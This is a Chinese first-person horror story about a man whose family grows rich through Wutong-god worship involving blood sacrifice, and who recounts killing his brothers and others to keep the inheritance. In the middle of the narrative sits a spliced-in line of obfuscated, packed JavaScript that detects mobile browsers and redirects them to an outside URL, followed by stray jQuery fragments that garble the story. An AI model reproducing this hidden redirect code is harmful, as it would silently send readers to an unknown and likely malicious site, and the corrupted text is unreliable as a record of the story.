烬，火之余木也。有“毁灭后重生”之意。
我叫沈厝。“厝”这个字单独看可能想不起来，放到“厝火积薪”里，你大概就认识了。
我家世代务农，住在慕安市长暕村。没几个人读过书，或者说，那个年代，没几家人供得起人读书。不晓得幸还是不幸，我娘会写几个字，爹便让她教我和弟弟们。她讲起话来磕磕绊绊的，带着别处的口音，我懒得听。但老二喜欢，总是爱和她亲近。
比起上学，我更期待年末的庙祭。年年都要杀猪杀羊，摆在盆里供神像吃。神像刻得再精细也是块石头，哪能真吃得上？最后便宜的还不是我们这些孩子，吃得满口流油，埋汰点的，衣服都看不得。
村里一直供奉着上参娘娘，座下还有个什么童靈神，说是送子的。村里小孩比隔壁村多，我反正不信这个——明明是我们村的汉子娶到老婆的多。一堆大人，看得还没我这个小孩明白。
但不知道什么时候，庙里的神像换了，变成了一尊我从没见过的。后来我才知道，那是五通神。
那时候我已经很大了，再几年就要娶老婆，吃肉的事渐渐轮不到我，自然也对庙祭提不起兴趣。
娘是在我十三岁那年走的。
大约是庙祭前几天。娘终于肯出家门了，这还是我印象里的第一次，所以记得很清楚。她怀里抱着块灰色的布，鼓鼓囊囊的，不晓得装的是什么。村里人都在张罗布置神庙，娘不想打扰人家，一直离得远远的，如果不是老二指给我看，我可能都发现不了。
我拉着老二过去。娘被吓了一跳，她看看我，又看看老二，半晌扯出一张笑。娘生得很好看，老二和她长得最像，也好看，好看得不像个爷们。只有我这个当哥的乐意找他玩，别人见了都要边喊“小娘炮”边笑嘻嘻地跑走。
我问娘要去干什么。她抿了抿嘴，说去城里给我们买点甜嘴。老二乐开了花，他从小就爱吃甜的，不吃糖就闹腾，牙都吃坏了也不停。村里人都劝，爹说这是老二上辈子吃了太多苦，这辈子多吃点甜的才能长大。别人也不好说什么了。
我总觉得不对劲，右眼皮突突地跳，便央着娘带我们一块。看一群老汉老头忙里忙外有什么意思？不如去城里见见世面。娘不同意，我们就拉着不让她走。最后她实在没法子，把灰布包一挎，一手一个牵着我们走了。
城里卖的糖确实甜。老二乐得满口蛀牙都藏不住了。娘却不怎么开心，心事重重的。我和老二一人一个笑话，把她哄了回去。
回到家的第二天，也或许是第三天，庙祭那天，一大清早，娘被发现吊死在神像面前。那时候的神像还是上参娘娘，或者已经换成了五通神？我不记得了。爹没让我们进去看，一个劲地骂晦气，说早不吊晚不吊，偏要捡着庙祭的时候吊，给村里添乱。最后庙祭办成了吗？应该是成了的，那年爹骂我属我肉吃得最多，但望着我的眼里还是含着笑的。
然后老二就死了。
很突然。村里大夫说是被糖噎死的，当时他手里还攥着半个糖块。可哪来的糖？是娘之前多给了老二几颗吧？应该是的。娘就喜欢老二一个，净捡着他开小灶。
话是这么说，弟弟死了还是要悲伤，要哭上一哭的。但要我说，场上谁的悲痛没掺点水呢？爹还有那么多儿子，哪缺他一个？弟弟们还那么小，正是记性差的年纪，哪会记着他？死了便罢了，又要在我们心里再死一回，值当吗？肯定是不值的。
果然没几天他就被人忘了。只是我偶尔扯着老三老四去玩的时候会想起他一下。也只是想一想。没了他，生活还是照样过。该吃吃，该睡睡。若说变化，不过是能进我口里的饭多了一些，铺盖里的空间大了一些罢了。
后来村里翻新扩建，神庙被拆成了县政府，里头的神像也不翼而飞了。父亲不知道从哪又请来一尊小的，放在客厅里，一进门就看得见。红木雕的神龛，里面神像笑眯眯的，不管你看不看祂祂都直勾勾看着你。怪瘆人的。
以前也没见他这么信神，怎么现在还把人家搬家里来了？不过比起不知道什么时候开始变怪的父亲，我的注意力更多在家里越来越多的金摆件、越来越华丽的装饰上。
家里好像越来越富贵了，伙食也从粗茶淡饭变成几乎顿顿都有肉吃。我们去问爹，爹说他在城里开了公司，生意正红火。
“娘和二哥没赶上好日子啊。”老三拉着我感叹。
我瞥他一眼：“你非得在爹面前碰霉头？信不信我送你下去陪他们？”
老三捂住嘴，讪笑着不说话了。
没多久，我们举家搬到市里，连那个瘆人的神龛一起。不过被挪进书房了，风水先生说放客厅散财。那风水先生有几分真本事我不知道，但我挺感谢他的——至少瘆人的感觉少了。
爹让我们改口，说城里人都管爹叫“父亲”，只有乡下人才喊“爹”。喊爹就是向城里人露怯，就是守不住财。也不知道哪来的歪理。老四年纪小，把不乐意摆在脸上，被父亲狠狠训斥了一顿，不情不愿地改了。要我说，改就改嘛，难不成改了口之后爹就不是爹了？只要你身上流的血没换，一辈子就都是沈家人。
我成年那天，父亲把我叫到书房，指着那尊神龛，说沈家能有今天全是五通神的功劳。我是他的继承人，也要学着拜神，才能把沈家的光彩传下去。我似懂非懂地点点头，父亲便满意地笑了。
我开始跟着他学“拜神”。越学越心惊。
杀“猪羊”，涂腥血，吃生肉。这真的是一个正常的神灵能定下的仪式吗？小时候的庙祭是什么样的？我似乎从来没注意过。有小孩子什么事呢？我们只需要站在那里装木头人，然后吃肉罢了。吃肉——我们小时候吃的真的是熟肉吗？还是别的？记忆里，每年吃的肉都不是一个做法，清炖、清蒸、红烧。可哪年是清炖，哪年是红烧？
我心头一阵反胃，不敢再细想。有钱能使鬼推磨，反正父亲又没说这种仪式需要本人完成。总有缺钱缺急红了眼的人愿意代劳的。
自从确定我是公司的继承人后，父亲便强制要求我读书。读书多无聊，当年娘没教会我，现在专业的先生自然教着也费劲。父亲颇有些失望。老四跟着我一起学，倒是进步神速——从狗四处乱爬的字变成狗沿直线爬的字了。怎么不算进步呢？父亲看看我，又看看弟弟们，好像放弃了。我在背后偷着乐，心里却在想，为什么一定要读书？父亲你没有读书不也成老板了吗？是五通神的功劳？可我不觉得自己比谁差。城里也有从乡镇里起来的老板，总不能他们背后也都有两三神明在指点吧？世上没有白来的午餐，这是我从小便知道的道理。靠着别人发的家，最后也会被别人毁去。因因果果，老天爷门清。
既然到头也是被收走的命，为什么要把机会留给外人呢？
我看着自己身上板正的西装，咧开嘴笑了。
外面白压压一片，把自己锁进屋里也隔不住人们的哭声。禤彤在一旁担忧地看着我——她是我刚娶的妻子——似乎在犹豫要不要出声。我向她招招手，她便温顺地坐到我旁边，依偎进我怀里。我搂住她，安慰道，不是你的错。当然不是她的错，真实情况我心知肚明。但就像别人说的那样，“只有冤枉你的人才知道你有多冤枉”，我都冤枉你了，又干嘛替你澄清？
况且我知道她实际上在担忧什么——无非是公司的稳定，还有她刚过门就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420271|200808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死了公公的克夫舆论。我当然不在意这个。不过奉子成婚罢了，她有多少真心，我也不比她多。左右孩子是不是我的还另论，我自有一套应对方式。是，便养着，等我到岁数了再把公司传给他；不是，那就更好说了，后头那“拜”神的小鬼少了，正缺人补上呢。反正沈家不缺这口饭吃，人多才好呢，人多热闹啊。
禤彤生了，是个儿子。我找了个算命先生，算来算去说单名一个“烬”字好。“烬”字哪里好？这些年我跟不少商业上的人往来，自然也学了些文学上的东西，虽然落到纸上还是不忍直视，好歹嘴上是过得去了。烬，听着高大上，说到底不就是纸灰灰吗？禤彤却很喜欢这个名字，我就随着她去了。
禤彤出月子后，我暗地里派人去做亲子鉴定。果然不是我的种。呵，那婆娘还以为我什么都不知道呢。也罢，先让她再快活一段日子吧。我是多么的宽和大度啊。我对着镜子感叹，镜子里的人回应道，《论语》里说，小不忍则乱大谋。这是对的。
禤彤死了。死在上山祭拜我母亲的路上。警方说，山路陡峭，又刚下过雨，地上又滑又腻，一不小心失足掉下去摔死了。真倒霉，怎么我还没动手就没了？还是说——有人先于我动了手？
无所谓。只要我目的达到了就好。接下来就是把那个小野种再养大点，送去运财。
怎么回事？怎么沈烬那小子长得和我越来越像？明明亲子鉴定上——
这不可能。
呵，那鉴定报告是谁动的手脚？不是父子，但有亲缘关系。是谁的种？老三，还是老四？这可真是——
你们是在怪我吗？不要怪哥哥狠心啊，那老不死的拼了半辈子，也就拼下了那么点家业，到头来还是要被神仙收走的。这怎么够三个人来分？沈厈，你喜欢美女，哥哥就给你找，只是一不小心混进来个可怜人而已。也是你太急色，怎么就不听人小姑娘解释呢？死了也不冤。还有沈厍，你不是要玩游戏吗？玩呀，玩他个昏天黑地昼夜颠倒，最后猝死掉了又怪谁？哥哥只是好心给你买了你最喜欢的游戏机而已。这怎么能怪到我头上呢？
——不管你是谁的人，禤彤，你说这怎么能怪到我头上呢？
书房失控了。
不知道从谁开始，我雇来做祭拜的人一个接一个地死了。为什么？是方式错了吗？还是神明终于发现我掩耳盗铃的行为了？不，不，这怪不到我头上，你又不是我请来的。冤有头债有主，你若有什么不满，就去下面跟我父亲说去吧。
死光了。
没人愿意来替我祭神了。
父亲只有你了啊，阿烬。
不对，沈烬看我的眼神不对。到底是什么时候开始变的？什么时候——我不知道。真的变了吗，还是我太多疑了？不，不，一定是不对的。孩子的眼神不是这样的。要像老二一样，给他一颗糖立马就欢欣雀跃，狼吞虎咽下去，还说要留一半给我吃。哈哈，叫你别吃那么急呢，傻孩子啊。
可是，沈烬你为什么不会这样？
别用那种高高在上的眼神看我。不管你是谁的种，我都还是你名义上的爹，你还是要叫我“父亲”。哈，还是你已经知道自己的身世了？知道了又怎么样？你现在身上穿的，嘴里吃的，哪一样不是我供的？离了我，你怎么活？你身上只要还流着我沈家的血，就别想逃出我的控制——
家里来人了。他说他是当初给我父亲神像的。现在神像没人祭拜了，他自然要拿回去。
拿回去？你拿走的真的只是神像而已吗？你敢保证吗！我父亲已经死了，这笔账算不到我头上。我现在的生活都是自己得来的。
祭拜，只要有人祭拜就好了，对吧？